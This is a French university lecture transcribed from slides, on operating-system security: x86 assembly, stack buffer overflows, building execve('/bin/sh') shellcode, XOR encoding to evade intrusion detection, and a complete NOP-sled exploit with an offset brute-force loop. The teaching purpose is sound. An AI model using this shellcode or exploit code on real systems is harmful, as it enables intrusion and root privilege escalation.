Sécurité des Systèmes d Exploitation : cours 2

Dimension: px
Commencer à balayer dès la page:

Download "Sécurité des Systèmes d Exploitation : cours 2"

Transcription

1 Sécurité des Systèmes d Exploitation : cours 2 Frédéric Gava Master ISIDIS, Université de Paris-Est Créteil Cours Sécurité du M2 ISIDIS

2 Plan 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit

3 Plan 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit

4 Plan 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit

5 Plan 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit

6 Déroulement du cours 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit ISIDIS : cours 3 / 62

7 Généralités (1) L analyse de fichier binaire est une connaissance importante pour toute personne souhaitant accroitre ses connaissances en securite informatique car : elle permet de connaitre comment fonctionne un programme de l exterieur sans en avoir les sources. un attaquant laisse des traces, souvent dans les binaires ISIDIS : cours 4 / 62

8 Généralités (2) Plusieurs types d analyses : l analyse statique (gdb, asm2c, code source) et dynamique (sniffers reseaux, tracers, VM) black-box : Cette technique permet d etudier un programme sans connaitre sont fonctionnement interne, juste en regardant comment il reagit et quels sont les resultats des differentes entrees et sorties. post-mortem : On regarde simplement les resultats de l execution du programme, comme les differents logs, les changements dans les fichiers, dans la date d acces des fichiers, les donnees que l on peut retrouver dans la memoire... Programmation bas niveau assembleur ISIDIS : cours 5 / 62

9 Les exécutables (1) Les exécutables sur un système GNU/Linux sont au format ELF (Executable and Linking Format). Ce format est découpé en plusieurs parties : Un header qui contient l offset des deux parties suivantes et des informations intéressantes pour le système sur le programme. Un program header table qui contient la liste des segments du fichier exécutable. Un section header table qui contient la liste des sections du fichier exécutable. Les données référencées par les éléments précédents. ISIDIS : cours 6 / 62

10 Les exécutables (1) ISIDIS : cours 7 / 62

11 Les exécutables (2) Nous avons : Une section peut contenir du code exécutable, des données, des données de liaison, des données de débugging, des tables de symboles, des informations de relocation, des commentaires, etc. Les segments, quant à eux, sont un groupe de sections apparentées. Par exemple, le segment de texte regroupe le code exécutable, le segment de données encapsule les données du programme, et le segment dynamic regroupe les informations nécessaires au chargement. ISIDIS : cours 8 / 62

12 Les exécutables (2) ISIDIS : cours 9 / 62

13 Chargement Lors du chargement, chaque segment est chargé et interprété : le système d exploitation recopie les segments du fichier dans la mémoire virtuelle, à partir des informations données dans l en-tête du programme. L espace virtuel : L espace adressable utilisateur pour le premier est situé dans l intervalle 0x : 0xBFFFFFFF l espace adressable pour le noyau est situé dans l intervalle 0xC : 0xFFFFFFFF Les exécutables au format ELF sont chargés à partir de l adresse virtuelle 0x appelée adresse de base. ISIDIS : cours 10 / 62

14 Organisation de l espace utilisateur (1) On trouve (mais pas que) les sections :.text qui contient le code du programme..data qui contient les données globales initialisées..bss qui contient les données globales non initialisées..stack qui est la pile du programme (construite de bas en haut et donc des adresses les plus hautes aux plus petites) ISIDIS : cours 11 / 62

15 Organisation de l espace utilisateur (1) ISIDIS : cours 12 / 62

16 Organisation de l espace utilisateur (2) char a; // ==>.bss char b[] = b ; // ==>.data int main() { char c; // ==>.stack static char d; // ==>.bss static char e[] = e ; // ==>.data char var6; // ==>.stack var6 = malloc(512); // ==>.heap return 0; } ISIDIS : cours 13 / 62

17 Organisation de l espace utilisateur (3) heap2$ size -A -x /bin/ls section size addr.interp 0x13 0x80480f4.note.ABI-tag 0x20 0x hash 0x258 0x dynsym 0x510 0x dynstr 0x36b 0x On peut aussi faire readelf -e ou objdump -h ISIDIS : cours 14 / 62

18 Les registres (1) Les registres a but general : eax, ebx,ecx,edx, edi, esi. Les registres speciaux : ebp, esp, eip, eflags. Certains de ces derniers registres peuvent être utilises comme des general purpose register mais il sont plus rapides pour certaines opérations c est pour cela qu on les nomme special purpose register. De meme certains registres communs ou general purpose register peuvent être dans certains cas utilisés comme registres spéciaux car certaines instructions en sont dépendantes, c est a dire que l instruction nécessite la présence de ces variables dans certains registres. ISIDIS : cours 15 / 62

19 Les registres (2) Exemple : %eax %ah %al %ax %eax est un dword soit 4 bytes, %ax est le least significant half de eax (la partie basse de eax), il est utilisé pour traiter deux bytes. %al est le LSB (least significant Byte) de %ax il est utilise pour traiter un byte. %ah est le MSB (most significant Byte) de %ax il permet de modifier la partie haute de %ax. ISIDIS : cours 16 / 62

20 Les registres (3) Les principaux : %eip (instruction pointer) : pointeur vers la prochaine instruction à exécuter. %ebp (base pointer) : pointeur de base. Son rôle est de placer un repère permettant d accéder facilement aux arguments de la fonction et/ou aux variables locales. %esp (stack pointer) : pointeur vers le prochain emplacement libre de la pile. ISIDIS : cours 17 / 62

21 Les instructions (1) Liste basique d instructions utiles a la compréhension d un programme en assembleur est courte. Déplacement dans la mémoire : mov : Permet de déplacer le contenu d un registre dans un autre lea : Permet de déplacer la valeur pointee a un emplacement mémoire donne dans un registre push : Ajoute une valeur sur la pile et decremente la stack pop : Extrait une valeur de la stack et incrémente la stack Instructions arithmetiques : add, sub, mul, div : Modifie la valeur a un registre inc : Incrémentation unitaire d un registre dec : Decrementation unitaire d un registre ISIDIS : cours 18 / 62

22 Les instructions (2) Instructions de contrôle : cmp : Compare deux registre call : Appelle une fonction int : Demande d interruption logicielle ret : Retour a la fonction appelante jmp (jump!) je (jump if equal), jne (jump if not equal), jg (jump if greater) (jump if second value is greater) jge (jump if greater or equal), jl (jump if less), jle (jump if less or equal) Instructions logiques : and, or, xor, not nop : ne fait rien (x90) ISIDIS : cours 19 / 62

23 Les instructions (3) Le typage : comme nous l avons vu précédemment, un registre peut être découpe pour que l on utilise 4, 2 ou 1 Byte. Les instructions vues précédemment peuvent etre suffixee pour spécifier le nombre de byte a utiliser. Par exemple pour mov : movb (utilise qu un seul byte : movb $0xFF, %al), mov ou movw (utilise 2 bytes ou un word (16 Bits) : mov $0xFFFF, %ax), movl (utilise 4 bytes ou un dword (double word, 32 Bits) : mov $0xFFFFFFFF, %eax). ISIDIS : cours 20 / 62

24 Accès à la mémoire Immediate mode (valeur directe precedee d un $) : mov $42, %eax Register addressing mode (contenu d un registre) : mov %ebx, %eax Indirect addresing mode (valeur pointee par registre) : mov (%eax), %ecx Direct addressing mode : mov 0x4242, %ebx (mov $0x15552, %eax mov (%eax), %ebx) Indexes addressing mode (adresse calculee) : le multiplier représente en general la taille d une variable et l index permet d avancer dans le tableau situe a l adresse de base, Address or offset(%base or offset, %index, %multiplier) : movl string start(%ecx,1), %eax Base pointer addresing mode (equivalent a l indirect addressing avec un offset, on s en servira très fréquemment pour accéder a une valeur de la stack) : movl 4(%eax), %ebx ISIDIS : cours 21 / 62

25 Appel de fonction (1) Chaque fonction va demander le placement d un ensemble d éléments sur la pile. Cet ensemble est composé des arguments de la fonction, de certaines informations relatives à la fonction appelante (sauvegarde des registres %eip et %ebp), et enfin, des variables locales. Un protocole définis l appel d une fonction. Ex. pour foo(5,6), on va avoir : push $0x6 ; Ajout du dernier argument push $0x5 ; Ajout du premier argument call 0xadresse <foo> ; Adresse hexadécimale de la fonction ; à appeller add $0x8,%esp ; Retrait des variables de la pile ; (2 mots de 4 bytes) ISIDIS : cours 22 / 62

26 Appel de fonction (2) ISIDIS : cours 23 / 62

27 Appel de fonction (2) L instruction call sauvegarde sur la pile le registre %eip. Une instruction call est donc équivalente à : push %eip jmp 0xadresse <foo> ISIDIS : cours 24 / 62

28 Appel de fonction (3) Une fonction est composée d un prologue (mettre en place le cade de la fonction) et d un épilogue. Au prologue : sauvegarder sur la pile le pointeur de base de la fonction appelante, en initialisant son propre pointeur de base, en allouant assez d espace sur la pile pour ses variables locales et, éventuellement, en sauvegardant les registres qu elle va utiliser dans le but de sauvegarder les données de la fonction appelante. Ex : int foo(int a, int b) { int c = a; int d = b; return c; } push %ebp ; Sauvegarde du registre %ebp de l appelant mov %esp,%ebp ; Initialisation du %ebp de la fonction sub $0x18,%esp ; Un GCC qui réserve 24 bytes minimum push %eax ; Sauvegarde du registre de retour ISIDIS : cours 25 / 62

29 Appel de fonction (4) L épilogue permet de préparer le retour à la fonction appelante en restaurant les registres sauvés, en désallouant les variables locales, en restaurant le pointeur de base de la procédure appelante et en chargeant dans le registre %eip l adresse de l instruction de la fonction appelante à exécuter. pop %eax; Restauration du registre %eax leave ; Désallocation des variables locales ; et restauration de %ebp ret ;retour à la procédure appelante en changeant %eip Remarque : les instructions leave et ret sont équivalentes aux instructions suivantes : mov %ebp,%esp ; leave pop %ebp ; leave pop %eip ; ret ISIDIS : cours 26 / 62

30 Déroulement du cours 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit ISIDIS : cours 27 / 62

31 Généralités (1) Le principe de l attaque par buffer overflow est de faire exécuter un code malveillant à un programme en écrasant dans la pile certaines données d exécution du programme à cause d une non vérification des longueurs de String. Prenons cet exemple : #include <stdio.h> #include <string.h> void foo(char string); int main(int argc, char argv) { if (argc > 1) foo(argv[1]); return 0;} void foo(char string) { char buffer[256]; strcpy(buffer, string);} ISIDIS : cours 28 / 62

32 Généralités (2) foo push %ebp mov %esp,%ebp sub $0x108,%esp ; 0x108 = 264 Dépassons les 264 octets alloué jusqu à écraser le registre %eip de la fonction appelate de telle manière que, lorsque l instruction ret sera exécutée, le programme sera redirigé vers notre code malveillant. Mais c est plus facile à dire qu à faire (impossible directement sur des machines modernes). Remarque : en C et comme dans bcp de langage, les string se termine par le caractère null /0 ISIDIS : cours 29 / 62

33 Généralités (3) ISIDIS : cours 30 / 62

34 Plantage (1) $ ulimit -c unlimited $./a.out perl -e print "A"x267 $ Segmentation fault (core dumped) $ gdb -c core... Core was generated by./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA. Program terminated with signal 11, Segmentation fault. #0 0x080483de in?? () Erreur à l instruction 0x080483de. Regardons le code ASM du main ISIDIS : cours 31 / 62

35 Plantage (2) $ gdb./a.out... disassemble main 0x080483a4 <main+0>: push %ebp 0x080483a5 <main+1>: mov %esp,%ebp 0x080483a7 <main+3>: sub $0x8,%esp... 0x080483cf <main+43>: pushl (%eax) 0x080483d1 <main+45>: call 0x80483e0 <foo> 0x080483d6 <main+50>: add $0x10,%esp 0x080483d9 <main+53>: mov $0x0,%eax 0x080483de <main+58>: leave 0x080483df <main+59>: ret On trouve leave à 0x080483de. Avec notre débordement, le registre %ebp contient la valeur 0x (des A en hexa) et donc un saut faire cette adresse est interdit (trop en dessous). Maintenant, nous allons aller encore plus loin en écrasant la sauvegarde du registre %eip avec./a.out perl -e print A x272 ISIDIS : cours 32 / 62

36 Plantage (3) $ gdb -c core... Core was generated by./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA. Program terminated with signal 11, Segmentation fault. #0 0x in?? () Car on a tenté d exécuter l instruction à l adresse 0x On peut donc rediriger notre code vers... bah un peut tout si on a la place. ISIDIS : cours 33 / 62

37 Plantage (4)... Core was generated by./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA Program terminated with signal 11, Segmentation fault. #0 0x in?? () L utilitaire gdb nous indique que le programme a été arrêté à cause d une erreur de segmentation lorsque l instruction à l adresse 0x a tenté d être exécutée. Nous avons pu rediriger le programme vulnérable à l adresse de notre choix faire exécuter ce que nous voulons, un shell car ainsi, les commandes qui y seront lancées, le seront avec les privilèges du programme vulnérable (si SUID root alors shell root, mais pas obligatoire, on peut s augmenter les droit artificiellement). Le but du programme d exploit est d injecter ce que l on appele le payload dans le code vulnérable. Le payload est une chaîne contenant tout ce qui est nécessaire au bon déroulement de la faille, y compris le shellcode et l adresse de retour. ISIDIS : cours 34 / 62

38 Ne fonctionne plus aussi simplement... (1) Hélas, cette attaque ne fonctionne plus pour plusieurs raisons : GCC introduit de base des canaries (petit bout de code hexa à la suite des buffers qui protège les vrai instructions) pour proteger le code (compiler avec l option -fno-stack-protector) et a des options pour protéger au mieux la pile : -fstack-protector-all la pile n est plus exécutable (ubuntu 10) le buffer-overflow doit se faire sur le heap (plus dure à mettre en oeuvre) les firewall recherchent (pas toujours bien) les codes malveillants dans les chaines de caractère en hexa (on peut les bluffer) technique très connu et de plus en plus corrigée les dernière versions des shells bash et tcsh, quand ils sont appelés, vérifient si l uid du processus est égal à son euid et si ce n est pas le cas, l euid du shell est fixé à la valeur de l uid par mesure de sécurité. ISIDIS : cours 35 / 62

39 Ne fonctionne plus aussi simplement... (2) Pour augmenter ces privilèges, On peut faire setuid avant d appeler le shell. Voici le code d un tel wrapper : #include <unistd.h> main(){ char name[]={ /bin/sh,null}; setuid(0);setgid(0); execve(name[0], name, NULL); } En HEXA, pour les shellcode : "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" ISIDIS : cours 36 / 62

40 Déroulement du cours 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit ISIDIS : cours 37 / 62

41 Premier shellcode (1) Normalement, on les trouve tout fait sur Internet (homonégisation des archis des serveurs). Mais voyons comme faire nous même : int main() { printf( Hello World! ); } Cela donne : $ gcc -static -o helloworld helloworld.c $ strace./helloworld... write(1, "Hello World!", 13Hello World!)... On peut remplacere le printf par write(1,...,13). Il est parfois nécessaire de compiler le programme avec le flag -static afin de pouvoir désassembler les appels système... ISIDIS : cours 38 / 62

42 Premier shellcode (2) $ more /usr/include/asm/unistd.h grep write Sinon éditer le fichier pour voir les includes. $ more /usr/include/asm-i386/unistd.h grep write... #define NR_write 4... EAX va contenir le numéro du syscall, soit 4 EBX va contenir le premier argument de write, 1. ECX va contenir le deuxième argument, soit l adresse de la cha^ıne "Hello World!". EDX va contenir la longueur de la cha^ıne (3ème argument), 13, ou 0x0d. Il nous faut l adresse de la chaine Hello ISIDIS : cours 39 / 62

43 Premier shellcode (3) Pour récupérer l adresse d une chaine, il faut déja la placer en mémoire. Ensuite, il faut réussir à trouver où elle est. Nous allons utiliser la technique du pop/call, décrite par Pr1on dans Phrack. Elle consiste, à partir d une adresse X, à sauter sur une étiquette d adresse Y, en dessous de laquelle figure un call vers l instruction suivant X. Et en dessous de ce call se trouve notre chaîne. Comment se passe la récupération de l adresse? En fait, lors du Call, l adresse de l instruction suivante va être empilée, comme pour tous les call. Comme l adresse suivante ets précisément l adresse de notre chaîne, c est gagné! Il ne nous restera plus qu a dépiler l adresse dans un registre, en l occurence ECX. Voici un petit schéma illustratif : [début du shellcode] jmp chaine suite: pop ecx [suite et fin du shellcode] chaine: call suite [notre chaine] ISIDIS : cours 40 / 62

44 Premier shellcode (4) Ecrivons maintenant le shellcode : $ cat asm.s main: xorl %eax,%eax //On met à zéro tous les registres, pour éviter les problèmes xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx movb $0x4,%al //On met al pour éviter les 0 dans les opcodes movb $0x1,%bl jmp chaine ret: popl %ecx movb $0xd,%dl int $0x80 chaine: call ret.string "Hello World!" $ as -o asm.o asm.s $ ld -o asm asm.o ISIDIS : cours 41 / 62

45 Premier shellcode (5) Récupéron le code en hexa $ objdump -d asm Déassemblage de la section.text: : : 31 c0 xor %eax,%eax : 31 db xor %ebx,%ebx : 31 c9 xor %ecx,%ecx a: 31 d2 xor %edx,%edx c: b0 04 mov $0x4,%al e: b3 01 mov $0x1,%bl : eb 05 jmp : : e8 f6 ff ff ff call On recopie pour avoir : \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xeb\x05\x59\xb2\x01 \xcd\x80\xe8\xf6\xff\xff\xffhello World! ISIDIS : cours 42 / 62

46 Tester le shellcode Au choix : int main() { char sh[] =... asm( jmp %esp ); return 0; } ou int main() { char sh[] =... int ret; ( (int ) &ret + 2) = (int) sh; } Sur la pile, on trouve de bas en haut : l adresse de retour de main, le contenu du registre EBP sauvegardé par le prologue de main et la variable ret. &ret + 2 = &(adresse de retour de main). ISIDIS : cours 43 / 62

47 Un vrai shellcode (1) #include <stdio.h> #include <unistd.h> int main() { char param[] = { /bin/sh, NULL}; execve(param[0], param, NULL); //execve est déja un appel système return 0; } avec : $ more /usr/include/asm/unistd.h grep execve #define NR_execve 11 ISIDIS : cours 44 / 62

48 Un vrai shellcode (2) main: xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx //On doit récupérer les arguments de execve : //ebx = "/bin/sh" //ecx = tab = {"/bin/sh",0} //edx = n 3: 0 //De plus, eax = 11, le syscall //empile 0 push %edx /On doit empiler /bin/sh. Or on est sur la pile et sur une architecture x86. On doit donc empiler 4 octets par 4 octets, on rajoute donc un /. De plus on doit empiler à l envers, de la façon suivante : dans le sens 4 derniers octets puis 4 premiers octets dans le sens tous les octets sont inversés On pushe donc en premier hs/n, puis nib// : push $0x68732f6e push $0x69622f2f ISIDIS : cours 45 / 62

49 Un vrai shellcode (3) //on récupère l adresse de la cha^ıne mov %esp,%ebx //empile 0 push %edx //empile l adresse de l adresse de la cha^ıne (c est à dire tab) push %ebx On a donc une pile qui ressemble à ISIDIS : cours 46 / 62

50 Un vrai shellcode (4) //bin/sh < edx = > ebx = addr chaine ecx = addr addr chaine ISIDIS : cours 47 / 62

51 Un vrai shellcode (5) //on récupère l adresse de tab mov %esp,%ecx //exécute l interruption mov $11,%al int $0x80 et on fait comme avant... On obtient : char sh[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; ISIDIS : cours 48 / 62

52 Shell-code amélioré Le pb est que bcp d IDS detectent ce genre de chaines (surtout celles qu on peut trouver sur le web). Pour les biaiser, une première solution est d utiliser des équivalences de code : movl $0x0, %eax ==> xorl %eax,%eax movb $0x0,0x7(%esi) ==> xorl %eax,%eax molv $0x0,0xc(%esi) ==> movb %eax,0x7(%esi) movl %eax,0xc(%esi) movl $0xb,%eax ==> movb $0xb,%al movl $0x1, %eax ==> xorl %ebx,%ebx movl $0x0, %ebx ==> movl %ebx,%eax inc %eax Mais les IDS regarde plus simplement si /bin/sh est présent ou non... ISIDIS : cours 49 / 62

53 Cryptage Créer un module de décryptage qui sera intégré au shellcode. Le plus simple xor (faire table de vérité) : si deux bits sont de valeurs différentes le résultat sera 1, et si ils ont la meme valeur ce sera 0 utilisation d une clés. P. ex. 16 : 45 xor 16=61 et 61 xor 16 = 45. Encryptons de cette sorte la chaine du shellcode. Code ASM pour le decryptage : jmp code suite: pop %esi xorl %eax, %eax decr: cmp %al, (%esi) je execute xorl $25, (%esi) add $1, %esi jmp decr code: call suite execute:.string "" ISIDIS : cours 50 / 62

54 Déroulement du cours 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit ISIDIS : cours 51 / 62

55 Un déni de service sans boucle! (1) Il n y a rien de plus énervant qu un serveur qui ne répond pas à cause de déni de service. Voyons comment écrire un programme C sans boucle/récursivité qui boucle... #include <stdio.h> #include <string.h> void foo(void); int main() {foo();return 0;} void foo(void) {char buffer[32];} Faisons en sorte d écraser la sauvegarde du registre %eip de la fonction main dans le cadre de la fonction foo. Cette sauvegarde sera écrasée par l adresse de l instruction call faisant un branchement vers la fonction foo dans main. Ainsi, à la première exécution du programme : La fonction main fait un branchement vers la fonction foo; lorsqu il est rempli, le buffer écrase la sauvegarde de %eip puis retour à la fonction main. ISIDIS : cours 52 / 62

56 Un déni de service sans boucle! (2) Il suffit de déclarer un pointeur à l entrée de notre buffer, d incrémenter ce pointeur jusqu à ce qu il arrive au premier byte de la sauvegarde du registre %eip et de remplacer cette sauvegarde avec l adresse de l instruction call de la fonction appelante. Dump of assembler code for function main: 0x <+0>: push %ebp 0x <+1>: mov %esp,%ebp 0x <+3>: and $0xfffffff0,%esp 0x a <+6>: call 0x <foo> 0x f <+11>: mov $0x0,%eax 0x <+16>: mov %ebp,%esp 0x <+18>: pop %ebp 0x <+19>: ret L adresse recherchée est 0x a (non modifié à la compilation). Modifions alors le code ISIDIS : cours 53 / 62

57 Un déni de service sans boucle! (3) #include <stdio.h> #include <string.h> void foo(void); int main() {foo();return 0;} void foo(void) { / Allocation : 56 bytes (0x38) / char buffer[32]; char workptr = (char )&buffer; workptr += 48; // 8 bytes pour passer %ebp ((long )workptr) = 0x ; // long = 64 bits = 8 bytes } ISIDIS : cours 54 / 62

58 Ecriture d un exploit (1) L écriture d un exploit peut-être une chose très difficile (pour les pro ) comme une chose très simple. Ici, nous prendrons notre exemple simple : include <stdio.h> #include <string.h> void foo(char string); int main(int argc, char argv) { if (argc > 1) foo(argv[1]); return 0;} void foo(char string) { char buffer[256]; strcpy(buffer, string);} 2 grandes difficultés sont rencontrées dans l écriture d un exploit : (1) La génération du payload. (2) la connaissance de l adresse du shellcode dans la mémoire. Ces deux problèmes se rejoignent lors du développement de notre exploit. ISIDIS : cours 55 / 62

59 Ecriture d un exploit (2) Si le payload était uniquement composé du shellcode sans instructions nop, il faudrait être extrêmement précis dans l adresse de retour pour ne pas se retrouver face à une erreur de segmentation. ISIDIS : cours 56 / 62 Commençons par la génération du payload. Celui-ci doit se trouver dans un buffer de la taille : Taille(payload) = Taille(Buffer sur la pile )+2 (4 ou 8)+1 2*4 (ou 8 pour 64 bytes) représente la taille de la sauvegarde des registres %ebp et %eip à écraser, et le dernier byte ajouté à la fin, le caractère /0 de fin de chaîne. Pour notre programme vulnérable, la taille du payload sera donc de = 273. qui aura la forme suivante :

60 Ecriture d un exploit (3) Pour rechercher l adresse de retour, nous allons utiliser une instruction assembleur incluse dans notre exploit en C afin de récupérer la valeur du registre %esp. En effet, grâce au mécanisme de mémoire virtuelle et au format ELF, nous savons que notre buffer vulnérable ne sera pas très loin de l adresse contenue dans ce registre. Notre exploit prendra un argument. Cet argument sera un offset à additionner à la valeur du registre %esp récupérée afin de remonter dans la pile du programme vulnérable pour tenter de retrouver le shellcode. ISIDIS : cours 57 / 62

61 Ecriture d un exploit (4) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define NOP 0x90 long getesp(void); int main(int argc, char argv) { char shellcode[] =... ; char buffer[273]; char ptr = (char )&buffer; int i; for (i = 0; i < 268 strlen(shellcode); i++, ptr++) ptr = NOP; for (i = 0; i < strlen(shellcode); i++, ptr++) ptr = shellcode[i]; int offset = atoi(argv[1]); long esp = getesp(); long ret = esp + offset; printf( ESP Register : 0x%x\n, esp); printf( Offset : %i\n, offset); printf( Address : 0x%x\n, ret); (long )ptr = ret; ptr += 4; (char )ptr = \0 ; execl(path, vuln, buffer, NULL); } long getesp(void) { asm ( mov %esp,%eax ); } ISIDIS : cours 58 / 62

62 Ecriture d un exploit (5) Un dernier problème se pose : l estimation de l offset. Voici un petit programme en bash qui fait un brute-force pour le trouver : $ A=-1; while [ 1 ]; do A=$((A+1));./a.out $A; done ESP Register : 0xbfe031b8 Offset : 0 Address : 0xbfe031b8 Segmentation fault ESP Register : 0xbf90ad18 Offset : 1 Address : 0xbf90ad19 Segmentation fault ESP Register : 0xbfdeb1f8 Offset : 2 Address : 0xbfdeb1fa Segmentation fault ESP Register : 0xbf8e44f8 Offset : 3 Address : 0xbf8e44fb sh-3.1$ Victoire! ISIDIS : cours 59 / 62

63 Un exemple rigolo (1) Une faille dans le navigateur Mozilla Firefox Cette faille était connue et décrite dans la CVE , et affectait aussi les logiciels Thunderbird et SeaMonkey Le problème se situait au niveau de l implantation du parseur d URL qui permetait à un pirate d exécuter du code arbitraire via un lien dont l adresse était encodée en UTF-8, sous ConvertUTF8toUTF16 : :write()qui copie la chaîne via une boucle dont le code vérifie que la fin de l espace alloué n est pas atteind. const value type p = start; const value type end = start + N; for ( ; p!= end; ) { char c = p++; //... while ( state ) { c = p++; // bug! Lors de l incrémentation de p, dans la boucle imbriquée, il n y a en effet rien qui empêche le pointeur de dépasser la fin du buffer. ISIDIS : cours 60 / 62

64 Un exemple rigolo (2) L exploit (pour Windows XP pack 3) se composait alors d un serveur HTTP qui, lorsqu il est contacté par un navigateur internet, envoie une page HTML encodée en UTF-8 contenant un lien dont l URL est terminée par un caractère multi-byte avec un shellcode. Dans l attaque, il y avait un egghunter qui se chargait de rechercher un préfixe reconnaissable dans la mémoire et d amener le registre %eip à l adresse du code malveillant (sous la forme de la page HTML). Il s agit donc de localiser en mémoire le code à exécuter, et d y faire pointer le registre %eip. ISIDIS : cours 61 / 62

65 A la semaine prochaine

Architecture des ordinateurs

Architecture des ordinateurs Architecture des ordinateurs Cours 7 17 décembre 2012 Archi 1/1 Fonctions, suite et fin Archi 2/1 Rappel Forme générale d un sous-programme (fonction) : etiquette sousprogramme: push ebp ; empile la valeur

Plus en détail

Structure d un programme

Structure d un programme Architecture des ordinateurs Cours 6 Structure d un programme 3 décembre 2012 Archi 1/30 Programme en Assembleur Archi 2/30 Sections de données programme en assembleur = fichier texte (extension.asm) organisé

Plus en détail

Programmation assembleur : aperçu

Programmation assembleur : aperçu Assembleur : Younès EL AMRANI. 1 Programmation assembleur : aperçu Programmation en assembleur : NASM Module M14 Semestre 4 Printemps 2010 Equipe pédagogique : Younès El Amrani, Abdelhakim El Imrani, Faissal

Plus en détail

Logiciel de base. Première année ENSIMAG

Logiciel de base. Première année ENSIMAG Logiciel de base Première année ENSIMAG 1 Procédures, paramètres, pile En assembleur une fonction est une étiquette, c'est l'adresse de sa première instruction Lors de l'appel d'une fonction, la pile sert

Plus en détail

Les failles Format String

Les failles Format String Les failles Format String Concept et exploitation Warr 01/10/2010 Introduction Je rédige ce papier afin de combler un manque cruel (à mon sens) de documentation à propos de ces failles. L essentiel des

Plus en détail

Architecture des ordinateurs : Programmation des processeurs avec l'environnement «y86» (INF155)

Architecture des ordinateurs : Programmation des processeurs avec l'environnement «y86» (INF155) Architecture des ordinateurs : Programmation des processeurs avec l'environnement «y86» (INF155) F. Pellegrini Université Bordeaux 1 Ce document est copiable et distribuable librement et gratuitement à

Plus en détail

Initiation à la sécurité

Initiation à la sécurité Initiation à la sécurité UE Systèmes informatiques 12 septembre 2011 Julien Raeis - http://raeis.iiens.net/ Présentation Ingénieur IIE 2005 Carrière dans la sécurité des systèmes Consultant en sécurité

Plus en détail

Les techniques de protection du logiciel

Les techniques de protection du logiciel Travail d'études Licence Informatique 2003-2004 Les techniques de protection du logiciel Julien BURLE Térence SCALABRE Encadré par Mr Pierre CRESCENZO Travail d'étude: Les techniques de protection du logiciel

Plus en détail

Compilation (INF 564)

Compilation (INF 564) Présentation du cours Le processeur MIPS Programmation du MIPS 1 Compilation (INF 564) Introduction & architecture MIPS François Pottier 10 décembre 2014 Présentation du cours Le processeur MIPS Programmation

Plus en détail

Machines virtuelles. Brique ASC. Samuel Tardieu sam@rfc1149.net. Samuel Tardieu (ENST) Machines virtuelles 1 / 40

Machines virtuelles. Brique ASC. Samuel Tardieu sam@rfc1149.net. Samuel Tardieu (ENST) Machines virtuelles 1 / 40 Machines virtuelles Brique ASC Samuel Tardieu sam@rfc1149.net École Nationale Supérieure des Télécommunications Samuel Tardieu (ENST) Machines virtuelles 1 / 40 Machines virtuelles La compilation peut

Plus en détail

Résumé Génération de code Le code intermédiaire

Résumé Génération de code Le code intermédiaire Résumé Analyse INFO0004 Structure des langages de programmation Génération de code ; liaison et exécution Justus H. Piater Programmation Analyse Compilation Liaison fichier texte Analyse lexicale flux

Plus en détail

Architecture des ordinateurs

Architecture des ordinateurs Architecture des ordinateurs Cours 4 5 novembre 2012 Archi 1/22 Micro-architecture Archi 2/22 Intro Comment assembler les différents circuits vus dans les cours précédents pour fabriquer un processeur?

Plus en détail

Rappels d architecture

Rappels d architecture Assembleur Rappels d architecture Un ordinateur se compose principalement d un processeur, de mémoire. On y attache ensuite des périphériques, mais ils sont optionnels. données : disque dur, etc entrée

Plus en détail

Les attaques par corruption de mémoire Synopsis Mickael Deloison 22/10/2008

Les attaques par corruption de mémoire Synopsis Mickael Deloison 22/10/2008 Les attaques par corruption de mémoire Synopsis Ce document traite des failles permettant des attaques par corruption de mémoire, les attaques par buffer overflow (dépassement de buffer) étant les plus

Plus en détail

DU BINAIRE AU MICROPROCESSEUR - D ANGELIS CIRCUITS CONFIGURABLES NOTION DE PROGRAMMATION

DU BINAIRE AU MICROPROCESSEUR - D ANGELIS CIRCUITS CONFIGURABLES NOTION DE PROGRAMMATION 145 NOTION DE PROGRAMMATION 1/ Complétons notre microprocesseur Nous avons, dans les leçons précédentes décrit un microprocesseur théorique, cependant il s inspire du 6800, premier microprocesseur conçu

Plus en détail

Les vulnérabilités du noyau. LECORNET Olivier LEGROS Bruno VIGIER Nicolas Promo 2005

Les vulnérabilités du noyau. LECORNET Olivier LEGROS Bruno VIGIER Nicolas Promo 2005 Les vulnérabilités du noyau LECORNET Olivier LEGROS Bruno VIGIER Nicolas Promo 2005 27 Septembre 2003 Table des matières 1 Introduction 3 2 Fonctionnement du noyau 4 2.1 Les modes de fonctionnements............................

Plus en détail

Introduction aux buffer overflow, CS335

Introduction aux buffer overflow, CS335 Introduction aux buffer overflow, CS335 http ://www.phrack.org/archives/49/p49-14 1. Smashing the stack for fun and profit by Aleph One November 1996 Aleph1 United Kingdom : www.aleph1.co.uk Mail : aleph1@securityfocus.com

Plus en détail

Le Projet BINSEC. Automatiser l analyse de sécurité au niveau binaire. Airbus group, CEA, IRISA, LORIA, Uni. Joseph Fourier. p.

